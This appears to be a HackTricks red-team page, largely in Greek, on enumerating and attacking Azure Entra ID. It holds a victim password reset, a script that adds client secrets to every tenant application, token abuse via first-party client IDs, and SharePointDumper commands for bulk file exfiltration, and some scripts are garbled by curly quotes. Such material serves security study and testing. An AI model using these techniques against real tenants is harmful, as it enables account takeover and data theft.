Az - Entra ID (AzureAD) & Azure IAM
Tip
Μάθετε & εξασκηθείτε στο AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Υποστηρίξτε το HackTricks
- Δείτε τα subscription plans!
- Εγγραφείτε στο 💬 Discord group ή την telegram group ή ακολουθήστε μας στο Twitter 🐦 @hacktricks_live.
- Μοιραστείτε τα hacking tricks υποβάλλοντας PRs στα HackTricks και HackTricks Cloud github repos.
Βασικές Πληροφορίες
Azure Active Directory (Azure AD) λειτουργεί ως η cloud υπηρεσία της Microsoft για τη διαχείριση ταυτοτήτων και πρόσβασης. Είναι απαραίτητο για να επιτρέπεται στους υπαλλήλους να συνδέονται και να έχουν πρόσβαση σε πόρους, τόσο εντός όσο και εκτός του οργανισμού, συμπεριλαμβανομένων των Microsoft 365, του Azure portal και πολλών άλλων εφαρμογών SaaS. Ο σχεδιασμός του Azure AD επικεντρώνεται στην παροχή βασικών υπηρεσιών ταυτότητας, κυρίως συμπεριλαμβανομένων της έλεγχος ταυτότητας, εξουσιοδότηση και διαχείριση χρηστών.
Βασικά χαρακτηριστικά του Azure AD περιλαμβάνουν την πολυπαραγοντική πιστοποίηση και την πρόσβαση υπό όρους, καθώς και απρόσκοπτη ενσωμάτωση με άλλες υπηρεσίες ασφάλειας της Microsoft. Αυτά τα χαρακτηριστικά ενισχύουν σημαντικά την ασφάλεια των ταυτοτήτων των χρηστών και επιτρέπουν στους οργανισμούς να εφαρμόζουν και να επιβάλλουν αποτελεσματικά τις πολιτικές πρόσβασής τους. Ως θεμελιώδες στοιχείο του οικοσυστήματος cloud υπηρεσιών της Microsoft, το Azure AD είναι καθοριστικό για τη διαχείριση των ταυτοτήτων χρηστών στο cloud.
Απαρίθμηση
Σύνδεση
az login #This will open the browser (if not use --use-device-code)
az login -u <username> -p <password> #Specify user and password
az login --identity #Use the current machine managed identity (metadata)
az login --identity -u /subscriptions/<subscriptionId>/resourcegroups/myRG/providers/Microsoft.ManagedIdentity/userAssignedIdentities/myID #Login with user managed identity
# Login as service principal
## With password
az login --service-principal -u <application ID> -p VerySecret --tenant contoso.onmicrosoft.com # Tenant can also be the tenant UUID
## With cert
az login --service-principal -u <application ID> -p ~/mycertfile.pem --tenant contoso.onmicrosoft.com
# Request access token (ARM)
az account get-access-token
# Request access token for different resource. Supported tokens: aad-graph, arm, batch, data-lake, media, ms-graph, oss-rdbms
az account get-access-token --resource-type aad-graph
# If you want to configure some defaults
az configure
# Get user logged-in already
az ad signed-in-user show
# Help
az find "vm" # Find vm commands
az vm -h # Get subdomains
az ad user list --query-examples # Get examples
Όταν κάνετε login μέσω CLI στο Azure με οποιοδήποτε πρόγραμμα, χρησιμοποιείτε μια Azure Application από έναν tenant που ανήκει στη Microsoft. Αυτές οι Applications, όπως αυτές που μπορείτε να δημιουργήσετε στον λογαριασμό σας, have a client id. Δεν θα μπορείτε να δείτε όλα αυτά στις allowed applications lists που βλέπετε στην console, αλλά είναι επιτρεπτές από προεπιλογή.
Για παράδειγμα, ένα powershell script που authenticates χρησιμοποιεί μια εφαρμογή με client id 1950a258-227b-4e31-a9cf-717495945fc2. Ακόμα κι αν η εφαρμογή δεν εμφανίζεται στην console, ένας sysadmin θα μπορούσε να block that application ώστε οι χρήστες να μην μπορούν να έχουν πρόσβαση χρησιμοποιώντας εργαλεία που συνδέονται μέσω αυτής της App.
Ωστόσο, υπάρχουν other client-ids εφαρμογών που will allow you to connect to Azure:
# The important part is the ClientId, which identifies the application to login inside Azure
$token = Invoke-Authorize -Credential $credential `
-ClientId '1dfb5f98-f363-4b0f-b63a-8d20ada1e62d' `
-Scope 'Files.Read.All openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "https://graphtryit-staging.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
$token = Invoke-Authorize -Credential $credential `
-ClientId '65611c08-af8c-46fc-ad20-1888eb1b70d9' `
-Scope 'openid profile Sites.Read.All User.Read email' `
-Redirect_Uri "chrome-extension://imjekgehfljppdblckcmjggcoboemlah" `
-Verbose -Debug `
-InformationAction Continue
$token = Invoke-Authorize -Credential $credential `
-ClientId 'd3ce4cf8-6810-442d-b42e-375e14710095' `
-Scope 'openid' `
-Redirect_Uri "https://graphexplorer.azurewebsites.net/" `
-Verbose -Debug `
-InformationAction Continue
Ενοικιαστές
# List tenants
az account tenant list
Χρήστες
Για περισσότερες πληροφορίες σχετικά με τους χρήστες Entra ID δείτε:
# Enumerate users
az ad user list --output table
az ad user list --query "[].userPrincipalName"
# Get info of 1 user
az ad user show --id "test@corp.onmicrosoft.com"
# Search "admin" users
az ad user list --query "[].displayName" | findstr /i "admin"
az ad user list --query "[?contains(displayName,'admin')].displayName"
# Search attributes containing the word "password"
az ad user list | findstr /i "password" | findstr /v "null,"
# All users from Entra ID
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi==null]"
az ad user list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All users synced from on-prem
az ad user list --query "[].{osi:onPremisesSecurityIdentifier,upn:userPrincipalName}[?osi!=null]"
az ad user list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get groups where the user is a member
az ad user get-member-groups --id <email>
# Get roles assigned to the user in Azure (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --assignee <email>
# Get ALL roles assigned in Azure in the current subscription (NOT in Entra ID)
az role assignment list --include-inherited --include-groups --include-classic-administrators true --all
# Get EntraID roles assigned to a user
## Get Token
export TOKEN=$(az account get-access-token --resource https://graph.microsoft.com/ --query accessToken -o tsv)
## Get users
curl -X GET "https://graph.microsoft.com/v1.0/users" \
-H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" | jq
## Get EntraID roles assigned to an user
curl -X GET "https://graph.microsoft.com/beta/rolemanagement/directory/transitiveRoleAssignments?\$count=true&\$filter=principalId%20eq%20'86b10631-ff01-4e73-a031-29e505565caa'" \
-H "Authorization: Bearer $TOKEN" \
-H "ConsistencyLevel: eventual" \
-H "Content-Type: application/json" | jq
## Get role details
curl -X GET "https://graph.microsoft.com/beta/roleManagement/directory/roleDefinitions/cf1c38e5-3621-4004-a7cb-879624dced7c" \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" | jq
Αλλαγή Κωδικού Χρήστη
$password = "ThisIsTheNewPassword.!123" | ConvertTo- SecureString -AsPlainText –Force
(Get-AzureADUser -All $true | ?{$_.UserPrincipalName -eq "victim@corp.onmicrosoft.com"}).ObjectId | Set- AzureADUserPassword -Password $password –Verbose
MFA & Conditional Access Policies
Συνιστάται έντονα να προσθέσετε MFA σε κάθε χρήστη, ωστόσο μερικές εταιρείες δεν θα το ρυθμίσουν ή μπορεί να το ρυθμίσουν με Conditional Access: ο χρήστης θα απαιτείται MFA αν συνδεθεί από μια συγκεκριμένη τοποθεσία, πρόγραμμα περιήγησης ή κάποια συνθήκη. Αυτές οι πολιτικές, αν δεν διαμορφωθούν σωστά, μπορεί να είναι επιρρεπείς σε bypasses. Ελέγξτε:
Az - Conditional Access Policies & MFA Bypass
Ομάδες
Για περισσότερες πληροφορίες σχετικά με τις ομάδες Entra ID δείτε:
# Enumerate groups
az ad group list
az ad group list --query "[].[displayName]" -o table
# Get info of 1 group
az ad group show --group <group>
# Get "admin" groups
az ad group list --query "[].displayName" | findstr /i "admin"
az ad group list --query "[?contains(displayName,'admin')].displayName"
# All groups from Entra ID
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi==null]"
az ad group list --query "[?onPremisesSecurityIdentifier==null].displayName"
# All groups synced from on-prem
az ad group list --query "[].{osi:onPremisesSecurityIdentifier,displayName:displayName,description:description}[?osi!=null]"
az ad group list --query "[?onPremisesSecurityIdentifier!=null].displayName"
# Get members of group
az ad group member list --group <group> --query "[].userPrincipalName" -o table
# Check if member of group
az ad group member check --group "VM Admins" --member-id <id>
# Get which groups a group is member of
az ad group get-member-groups -g "VM Admins"
# Get roles assigned to the group in Azure (NOT in Entra ID)
az role assignment list --include-groups --include-classic-administrators true --assignee <group-id>
# To get Entra ID roles assigned check how it's done with users and use a group ID
Προσθήκη χρήστη σε ομάδα
Οι ιδιοκτήτες της ομάδας μπορούν να προσθέσουν νέους χρήστες στην ομάδα
Add-AzureADGroupMember -ObjectId <group_id> -RefObjectId <user_id> -Verbose
Warning
Groups μπορεί να είναι dynamic, που ουσιαστικά σημαίνει ότι εάν ένας user πληροί ορισμένες προϋποθέσεις, θα προστεθεί σε μια group. Φυσικά, αν οι προϋποθέσεις βασίζονται σε attributes που ένας user μπορεί να ελέγχει, θα μπορούσε να καταχραστεί αυτή τη λειτουργία για να μπει σε άλλες ομάδες.
Δείτε πώς να καταχραστείτε τα dynamic groups στην ακόλουθη σελίδα:
Service Principals
Για περισσότερες πληροφορίες σχετικά με τα Entra ID service principals ελέγξτε:
# Get Service Principals
az ad sp list --all
az ad sp list --all --query "[].[displayName,appId]" -o table
# Get details of one SP
az ad sp show --id 00000000-0000-0000-0000-000000000000
# Search SP by string
az ad sp list --all --query "[?contains(displayName,'app')].displayName"
# Get owner of service principal
az ad sp owner list --id <id> --query "[].[displayName]" -o table
# Get service principals owned by the current user
az ad sp list --show-mine
# Get SPs with generated secret or certificate
az ad sp list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
Warning
Ο Owner ενός Service Principal μπορεί να αλλάξει τον κωδικό πρόσβασής του.
Καταγράψτε και δοκιμάστε να προσθέσετε ένα client secret σε κάθε Enterprise App
```bash # Just call Add-AzADAppSecret Function Add-AzADAppSecret { <# .SYNOPSIS Add client secret to the applications..PARAMETER GraphToken Pass the Graph API Token
.EXAMPLE PS C:> Add-AzADAppSecret -GraphToken ‘eyJ0eX..’
.LINK https://docs.microsoft.com/en-us/graph/api/application-list?view=graph-rest-1.0&tabs=http https://docs.microsoft.com/en-us/graph/api/application-addpassword?view=graph-rest-1.0&tabs=http #>
[CmdletBinding()] param( [Parameter(Mandatory=$True)] [String] $GraphToken = $null )
$AppList = $null $AppPassword = $null
List All the Applications
$Params = @{ “URI” = “https://graph.microsoft.com/v1.0/applications” “Method” = “GET” “Headers” = @{ “Content-Type” = “application/json” “Authorization” = “Bearer $GraphToken” } }
try { $AppList = Invoke-RestMethod @Params -UseBasicParsing } catch { }
Add Password in the Application
if($AppList -ne $null) { [System.Collections.ArrayList]$Details = @()
foreach($App in $AppList.value) { $ID = $App.ID $psobj = New-Object PSObject
$Params = @{ “URI” = “https://graph.microsoft.com/v1.0/applications/$ID/addPassword” “Method” = “POST” “Headers” = @{ “Content-Type” = “application/json” “Authorization” = “Bearer $GraphToken” } }
$Body = @{ “passwordCredential”= @{ “displayName” = “Password” } }
try { $AppPassword = Invoke-RestMethod @Params -UseBasicParsing -Body ($Body | ConvertTo-Json) Add-Member -InputObject $psobj -NotePropertyName “Object ID” -NotePropertyValue $ID Add-Member -InputObject $psobj -NotePropertyName “App ID” -NotePropertyValue $App.appId Add-Member -InputObject $psobj -NotePropertyName “App Name” -NotePropertyValue $App.displayName Add-Member -InputObject $psobj -NotePropertyName “Key ID” -NotePropertyValue $AppPassword.keyId Add-Member -InputObject $psobj -NotePropertyName “Secret” -NotePropertyValue $AppPassword.secretText $Details.Add($psobj) | Out-Null } catch { Write-Output “Failed to add new client secret to ‘$($App.displayName)’ Application.” } } if($Details -ne $null) { Write-Output “” Write-Output “Client secret added to : “ Write-Output $Details | fl * } } else { Write-Output “Failed to Enumerate the Applications.” } }
</details>
### Εφαρμογές
Για περισσότερες πληροφορίες σχετικά με τις Εφαρμογές δείτε:
<a class="content_ref" href="../az-basic-information/index.html"><span class="content_ref_label">Az - Basic Information</span></a>
Όταν δημιουργείται ένα App δίνονται 3 τύποι δικαιωμάτων:
- **Δικαιώματα** που δίνονται στον **Service Principal** (μέσω ρόλων).
- **Δικαιώματα** που η **app** μπορεί να έχει και να χρησιμοποιεί **εκ μέρους του χρήστη**.
- **API Permissions** που δίνουν στην app δικαιώματα πάνω στο EntraID χωρίς να απαιτούν άλλους ρόλους που να χορηγούν αυτά τα δικαιώματα.
{{#tabs }}
{{#tab name="az cli" }}
```bash
# List Apps
az ad app list
az ad app list --query "[].[displayName,appId]" -o table
# Get info of 1 App
az ad app show --id 00000000-0000-0000-0000-000000000000
# Search App by string
az ad app list --query "[?contains(displayName,'app')].displayName"
# Get the owner of an application
az ad app owner list --id <id> --query "[].[displayName]" -o table
# Get SPs owned by current user
az ad app list --show-mine
# Get apps with generated secret or certificate
az ad app list --query '[?length(keyCredentials) > `0` || length(passwordCredentials) > `0`].[displayName, appId, keyCredentials, passwordCredentials]' -o json
# Get Global Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1b2256f9-46c1-4fc2-a125-5b2f51bb43b7/members"
# Get Application Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/1e92c3b7-2363-4826-93a6-7f7a5b53e7f9/members"
# Get Cloud Applications Administrators (full access over apps)
az rest --method GET --url "https://graph.microsoft.com/v1.0/directoryRoles/0d601d27-7b9c-476f-8134-8e7cd6744f02/members"
# Get "API Permissions" of an App
## Get the ResourceAppId
az ad app show --id "<app-id>" --query "requiredResourceAccess" --output json
## e.g.
[
{
"resourceAccess": [
{
"id": "e1fe6dd8-ba31-4d61-89e7-88639da4683d",
"type": "Scope"
},
{
"id": "d07a8cc0-3d51-4b77-b3b0-32704d1f69fa",
"type": "Role"
}
],
"resourceAppId": "00000003-0000-0000-c000-000000000000"
}
]
## For the perms of type "Scope"
az ad sp show --id <ResourceAppId> --query "oauth2PermissionScopes[?id=='<id>'].value" -o tsv
az ad sp show --id "00000003-0000-0000-c000-000000000000" --query "oauth2PermissionScopes[?id=='e1fe6dd8-ba31-4d61-89e7-88639da4683d'].value" -o tsv
## For the perms of type "Role"
az ad sp show --id <ResourceAppId> --query "appRoles[?id=='<id>'].value" -o tsv
az ad sp show --id 00000003-0000-0000-c000-000000000000 --query "appRoles[?id=='d07a8cc0-3d51-4b77-b3b0-32704d1f69fa'].value" -o tsv
Εύρεση όλων των δικαιωμάτων API εφαρμογών και επισήμανση των API που ανήκουν στη Microsoft (az cli)
```bash #!/usr/bin/env bash set -euo pipefailKnown Microsoft first-party owner organization IDs.
MICROSOFT_OWNER_ORG_IDS=( “f8cdef31-a31e-4b4a-93e4-5f571e91255a” “72f988bf-86f1-41af-91ab-2d7cd011db47” )
is_microsoft_owner() { local owner=“$1” local id for id in “${MICROSOFT_OWNER_ORG_IDS[@]}”; do if [ “$owner” = “$id” ]; then return 0 fi done return 1 }
get_permission_value() { local resource_app_id=“$1” local perm_type=“$2” local perm_id=“$3” local key value key=“${resource_app_id}|${perm_type}|${perm_id}”
value=“$(awk -F ‘\t’ -v k=”$key“ ‘$1==k {print $2; exit}’ “$tmp_perm_cache”)“ if [ -n “$value” ]; then printf ‘%s\n’ “$value” return 0 fi
if [ “$perm_type” = “Scope” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “oauth2PermissionScopes[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ elif [ “$perm_type” = “Role” ]; then value=“$(az ad sp show –id “$resource_app_id” –query “appRoles[?id==‘$perm_id’].value | [0]” -o tsv 2>/dev/null || true)“ else value=“” fi
[ -n “$value” ] || value=“UNKNOWN” printf ‘%s\t%s\n’ “$key” “$value” >> “$tmp_perm_cache” printf ‘%s\n’ “$value” }
command -v az >/dev/null 2>&1 || { echo “az CLI not found” >&2; exit 1; } command -v jq >/dev/null 2>&1 || { echo “jq not found” >&2; exit 1; } az account show >/dev/null
apps_json=“$(az ad app list –all –query ‘[?length(requiredResourceAccess) > 0].[displayName,appId,requiredResourceAccess]’ -o json)”
tmp_map=“$(mktemp)” tmp_ids=“$(mktemp)” tmp_perm_cache=“$(mktemp)” trap ‘rm -f “$tmp_map” “$tmp_ids” “$tmp_perm_cache”’ EXIT
Build unique resourceAppId values used by applications.
jq -r ‘.[][2][]?.resourceAppId’ <<<“$apps_json” | sort -u > “$tmp_ids”
Resolve resourceAppId -> owner organization + API display name.
while IFS= read -r rid; do [ -n “$rid” ] || continue sp_json=“$(az ad sp show –id “$rid” –query ‘{owner:appOwnerOrganizationId,name:displayName}’ -o json 2>/dev/null || true)“ owner=“$(jq -r ‘.owner // “UNKNOWN”’ <<<“$sp_json”)“ name=“$(jq -r ‘.name // “UNKNOWN”’ <<<“$sp_json”)“ printf ‘%s\t%s\t%s\n’ “$rid” “$owner” “$name” >> “$tmp_map” done < “$tmp_ids”
echo -e “appDisplayName\tappId\tresourceApiDisplayName\tresourceAppId\tisMicrosoft\tpermissions”
Print all app API permissions and mark if the target API is Microsoft-owned.
while IFS= read -r row; do app_name=“$(jq -r ‘.[0]’ <<<”$row“)“ app_id=“$(jq -r ‘.[1]’ <<<”$row“)“
while IFS= read -r rra; do resource_app_id=“$(jq -r ‘.resourceAppId’ <<<”$rra“)“ map_line=“$(awk -F ‘\t’ -v id=”$resource_app_id“ ‘$1==id {print; exit}’ “$tmp_map”)“ owner_org=“$(awk -F’\t’ ‘{print $2}’ <<<”$map_line“)“ resource_name=“$(awk -F’\t’ ‘{print $3}’ <<<”$map_line“)“
[ -n “$owner_org” ] || owner_org=“UNKNOWN” [ -n “$resource_name” ] || resource_name=“UNKNOWN”
if is_microsoft_owner “$owner_org”; then is_ms=“true” else is_ms=“false” fi
permissions_csv=“” while IFS= read -r access; do perm_type=“$(jq -r ‘.type’ <<<”$access“)“ perm_id=“$(jq -r ‘.id’ <<<”$access“)“ perm_value=“$(get_permission_value “$resource_app_id” “$perm_type” “$perm_id”)“ perm_label=“${perm_type}:${perm_value}” if [ -z “$permissions_csv” ]; then permissions_csv=“$perm_label” else permissions_csv=“${permissions_csv},${perm_label}” fi done < <(jq -c ‘.resourceAccess[]’ <<<“$rra”)
echo -e “${app_name}\t${app_id}\t${resource_name}\t${resource_app_id}\t${is_ms}\t${permissions_csv}” done < <(jq -c ‘.[2][]’ <<<“$row”) done < <(jq -c ‘.[]’ <<<“$apps_json”)
</details>
{{#endtab }}
{{#tab name="Az" }}
```bash
# Get Apps
Get-AzADApplication
# Get details of one App
Get-AzADApplication -ObjectId <id>
# Get App searching by string
Get-AzADApplication | ?{$_.DisplayName -match "app"}
# Get Apps with password
Get-AzADAppCredential
{{#endtab }}
{{#tab name=“MS Graph” }}
# List Applications using Microsoft Graph PowerShell
Get-MgApplication -All
# Get application details
Get-MgApplication -ApplicationId 7861f72f-ad49-4f8c-96a9-19e6950cffe1 | Format-List *
# Search App by display name
Get-MgApplication -Filter "startswith(displayName, 'app')" | Select-Object DisplayName
# Get owner of an application
Get-MgApplicationOwner -ApplicationId <ApplicationId>
# List available commands in Microsoft Graph PowerShell
Get-Command -Module Microsoft.Graph.Applications
{{#endtab }}
{{#tab name=“Azure AD” }}
# List all registered applications
Get-AzureADApplication -All $true
# Get details of an application
Get-AzureADApplication -ObjectId <id> | fl *
# List all the apps with an application password
Get-AzureADApplication -All $true | %{if(Get-AzureADApplicationPasswordCredential -ObjectID $_.ObjectID){$_}}
# Get owner of an application
Get-AzureADApplication -ObjectId <id> | Get-AzureADApplicationOwner |fl *
{{#endtab }} {{#endtabs }}
Warning
Μια εφαρμογή με την άδεια
AppRoleAssignment.ReadWriteμπορεί να αναβαθμιστεί σε Global Admin χορηγώντας στον εαυτό της τον ρόλο.
Για περισσότερες πληροφορίες δείτε εδώ.
Note
Ένα μυστικό string που η εφαρμογή χρησιμοποιεί για να αποδείξει την ταυτότητά της όταν ζητάει ένα token είναι το application password.
Έτσι, αν βρείτε αυτό το password μπορείτε να έχετε πρόσβαση ως ο service principal μέσα στο tenant.
Σημειώστε ότι αυτό το password είναι ορατό μόνο όταν δημιουργείται (μπορείτε να το αλλάξετε αλλά δεν μπορείτε να το ανακτήσετε ξανά).
Ο owner της application μπορεί να add a password σε αυτήν (ώστε να μπορεί να την impersonate).
Οι συνδέσεις ως αυτοί οι service principals δεν σημειώνονται ως risky και δεν θα έχουν MFA.
It’s possible to find a list of commonly used App IDs that belongs to Microsoft in https://learn.microsoft.com/en-us/troubleshoot/entra/entra-id/governance/verify-first-party-apps-sign-in#application-ids-of-commonly-used-microsoft-applications
Managed Identities
For more information about Managed Identities check:
# List all manged identities
az identity list --output table
# With the principal ID you can continue the enumeration in service principals
Azure Ρόλοι
Για περισσότερες πληροφορίες σχετικά με τους ρόλους του Azure δείτε:
# Get roles
az role definition list
# Get all assigned roles
az role assignment list --all --query "[].roleDefinitionName"
az role assignment list --all | jq '.[] | .roleDefinitionName,.scope'
# Get info of 1 role
az role definition list --name "AzureML Registry User"
# Get only custom roles
az role definition list --custom-role-only
# Get only roles assigned to the resource group indicated
az role definition list --resource-group <resource_group>
# Get only roles assigned to the indicated scope
az role definition list --scope <scope>
# Get all the principals a role is assigned to
az role assignment list --all --query "[].{principalName:principalName,principalType:principalType,scope:scope,roleDefinitionName:roleDefinitionName}[?roleDefinitionName=='<ROLE_NAME>']"
# Get all the roles assigned to a user
az role assignment list --assignee "<email>" --all --output table
# Get all the roles assigned to a user by filtering
az role assignment list --all --query "[?principalName=='admin@organizationadmin.onmicrosoft.com']" --output table
# Get deny assignments
az rest --method GET --uri "https://management.azure.com/{scope}/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
## Example scope of subscription
az rest --method GET --uri "https://management.azure.com/subscriptions/9291ff6e-6afb-430e-82a4-6f04b2d05c7f/providers/Microsoft.Authorization/denyAssignments?api-version=2022-04-01"
Entra ID Ρόλοι
Για περισσότερες πληροφορίες σχετικά με τους ρόλους του Azure, δείτε:
# List template Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoleTemplates"
# List enabled built-in Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles"
# List all Entra ID roles with their permissions (including custom roles)
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions"
# List only custom Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleDefinitions" | jq '.value[] | select(.isBuiltIn == false)'
# List all assigned Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/roleManagement/directory/roleAssignments"
# List members of a Entra ID roles
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/directoryRoles/<role-id>/members"
# List Entra ID roles assigned to a user
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/users/<user-id>/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# List Entra ID roles assigned to a group
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/groups/$GROUP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
# List Entra ID roles assigned to a service principal
az rest --method GET \
--uri "https://graph.microsoft.com/v1.0/servicePrincipals/$SP_ID/memberOf/microsoft.graph.directoryRole" \
--query "value[]" \
--output json
Συσκευές
# If you know how to do this send a PR!
Warning
Αν μια συσκευή (VM) είναι AzureAD joined, χρήστες από το AzureAD θα μπορούν να συνδεθούν.
Επιπλέον, αν ο συνδεδεμένος χρήστης είναι Owner της συσκευής, θα είναι local admin.
Διοικητικές Μονάδες
Για περισσότερες πληροφορίες σχετικά με τις διοικητικές μονάδες δείτε:
# List all administrative units
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits"
# Get AU info
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53"
# Get members
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/members"
# Get principals with roles over the AU
az rest --method GET --uri "https://graph.microsoft.com/v1.0/directory/administrativeUnits/a76fd255-3e5e-405b-811b-da85c715ff53/scopedRoleMembers"
Microsoft Graph delegated SharePoint data exfiltration (SharePointDumper)
Επιτιθέμενοι με ένα delegated Microsoft Graph token που περιλαμβάνει Sites.Read.All ή Sites.ReadWrite.All μπορούν να απαριθμήσουν sites/drives/items μέσω του Graph και στη συνέχεια να εξάγουν τα περιεχόμενα αρχείων μέσω των SharePoint pre-authentication download URLs (χρονοπεριορισμένα URLs που ενσωματώνουν ένα access token). Το script SharePointDumper αυτοματοποιεί ολόκληρη τη ροή (enumeration → pre-auth downloads) και εκπέμπει τηλεμετρία ανά αίτημα για δοκιμές ανίχνευσης.
Απόκτηση χρησιμοποιήσιμων delegated tokens
- Το SharePointDumper καθαυτό δεν κάνει authentication· παρέχετε ένα access token (προαιρετικά refresh token).
- Πελάτες first-party με προ-συναίνεση μπορούν να καταχραστούν για να δημιουργήσουν ένα Graph token χωρίς εγγραφή εφαρμογής. Παράδειγμα κλήσεων
Invoke-Auth(από EntraTokenAid):
# CAE requested by default; yields long-lived (~24h) access token
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
$tokens = Invoke-Auth -ClientID 'b26aadf8-566f-4478-926f-589f601d9c74' -RedirectUrl 'urn:ietf:wg:oauth:2.0:oob' # OneDrive (FOCI TRUE)
# Other pre-consented clients
Invoke-Auth -ClientID '1fec8e78-bce4-4aaf-ab1b-5451cc387264' -RedirectUrl 'https://login.microsoftonline.com/common/oauth2/nativeclient' # Teams (FOCI TRUE)
Invoke-Auth -ClientID 'd326c1ce-6cc6-4de2-bebc-4591e5e13ef0' -RedirectUrl 'msauth://code/ms-sharepoint-auth%3A%2F%2Fcom.microsoft.sharepoint' # SharePoint (FOCI TRUE)
Invoke-Auth -ClientID '4765445b-32c6-49b0-83e6-1d93765276ca' -RedirectUrl 'https://scuprodprv.www.microsoft365.com/spalanding' -Origin 'https://doesnotmatter' # OfficeHome (FOCI FALSE)
Invoke-Auth -ClientID '08e18876-6177-487e-b8b5-cf950c1e598c' -RedirectUrl 'https://onedrive.cloud.microsoft/_forms/spfxsinglesignon.aspx' -Origin 'https://doesnotmatter' # SPO Web Extensibility (FOCI FALSE)
Note
Οι FOCI TRUE clients υποστηρίζουν refresh across devices· οι FOCI FALSE clients συχνά απαιτούν
-Originγια να ικανοποιηθεί το reply URL origin validation.
Εκτέλεση SharePointDumper για enumeration + exfiltration
- Βασικό dump με custom UA / proxy / throttling:
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -UserAgent "Not SharePointDumper" -RequestDelaySeconds 2 -Variation 3 -Proxy 'http://127.0.0.1:8080'
- Έλεγχος εύρους: συμπερίληψη/εξαίρεση ιστότοπων ή επεκτάσεων και παγκόσμια όρια:
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -IncludeSites 'Finance','Projects' -IncludeExtensions pdf,docx -MaxFiles 500 -MaxTotalSizeMB 100
- Συνέχισε διακοπείσες εκτελέσεις (επαναεντοπίζει αλλά παραλείπει τα ήδη κατεβασμένα αντικείμενα):
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -Resume -OutputFolder .\20251121_1551_MyTenant
- Αυτόματη ανανέωση token σε HTTP 401 (απαιτεί το EntraTokenAid να είναι φορτωμένο):
Import-Module ./EntraTokenAid/EntraTokenAid.psm1
.\Invoke-SharePointDumper.ps1 -AccessToken $tokens.access_token -RefreshToken $tokens.refresh_token -RefreshClientId 'b26aadf8-566f-4478-926f-589f601d9c74'
Σημειώσεις λειτουργίας:
- Προτιμά CAE-enabled tokens για να αποφευχθεί η λήξη κατά τη διάρκεια εκτέλεσης· οι προσπάθειες ανανέωσης δεν καταγράφονται στο API log του εργαλείου.
- Δημιουργεί CSV/JSON request logs για Graph + SharePoint και αποσιωπά ενσωματωμένα SharePoint download tokens από προεπιλογή (εναλλασσόμενο).
- Υποστηρίζει custom User-Agent, HTTP proxy, per-request delay + jitter, και Ctrl+C-safe shutdown για shaping της κυκλοφορίας κατά τη διάρκεια δοκιμών detection/IR.
Entra ID Privilege Escalation
Azure Privilege Escalation
Az - Azure IAM Privesc (Authorization)
Αμυντικοί Μηχανισμοί
Privileged Identity Management (PIM)
Το Privileged Identity Management (PIM) στο Azure βοηθάει στο να αποτραπεί η ανάθεση υπερβολικών προνομίων σε χρήστες χωρίς λόγο.
Ένα από τα κύρια χαρακτηριστικά που παρέχει το PIM είναι ότι επιτρέπει να μην ανατίθενται ρόλοι σε principals που είναι συνεχώς ενεργοί, αλλά να τους κάνει eligible for a period of time (e.g. 6months). Όποτε ο χρήστης θέλει να ενεργοποιήσει αυτόν τον ρόλο, πρέπει να τον ζητήσει δηλώνοντας το χρόνο που χρειάζεται το προνόμιο (π.χ. 3 ώρες). Στη συνέχεια, ένας admin needs to approve το αίτημα.
Σημειώστε ότι ο χρήστης θα μπορεί επίσης να ζητήσει να extend το χρόνο.
Moreover, PIM send emails whenever a privileged role is being assigned to someone.
.png)
Όταν το PIM είναι ενεργοποιημένο είναι δυνατό να ρυθμίσετε κάθε ρόλο με ορισμένες απαιτήσεις όπως:
- Μέγιστη διάρκεια (ώρες) ενεργοποίησης
- Require MFA on activation
- Απαίτηση Conditional Access acuthenticaiton context
- Απαίτηση αιτιολόγησης κατά την ενεργοποίηση
- Απαίτηση πληροφοριών ticket κατά την ενεργοποίηση
- Απαίτηση έγκρισης για ενεργοποίηση
- Μέγιστος χρόνος πριν λήξουν οι elegible assignments
- Πολλές ακόμη ρυθμίσεις σχετικά με το πότε και σε ποιον να αποστέλλονται ειδοποιήσεις όταν συμβαίνουν συγκεκριμένες ενέργειες με αυτόν τον ρόλο
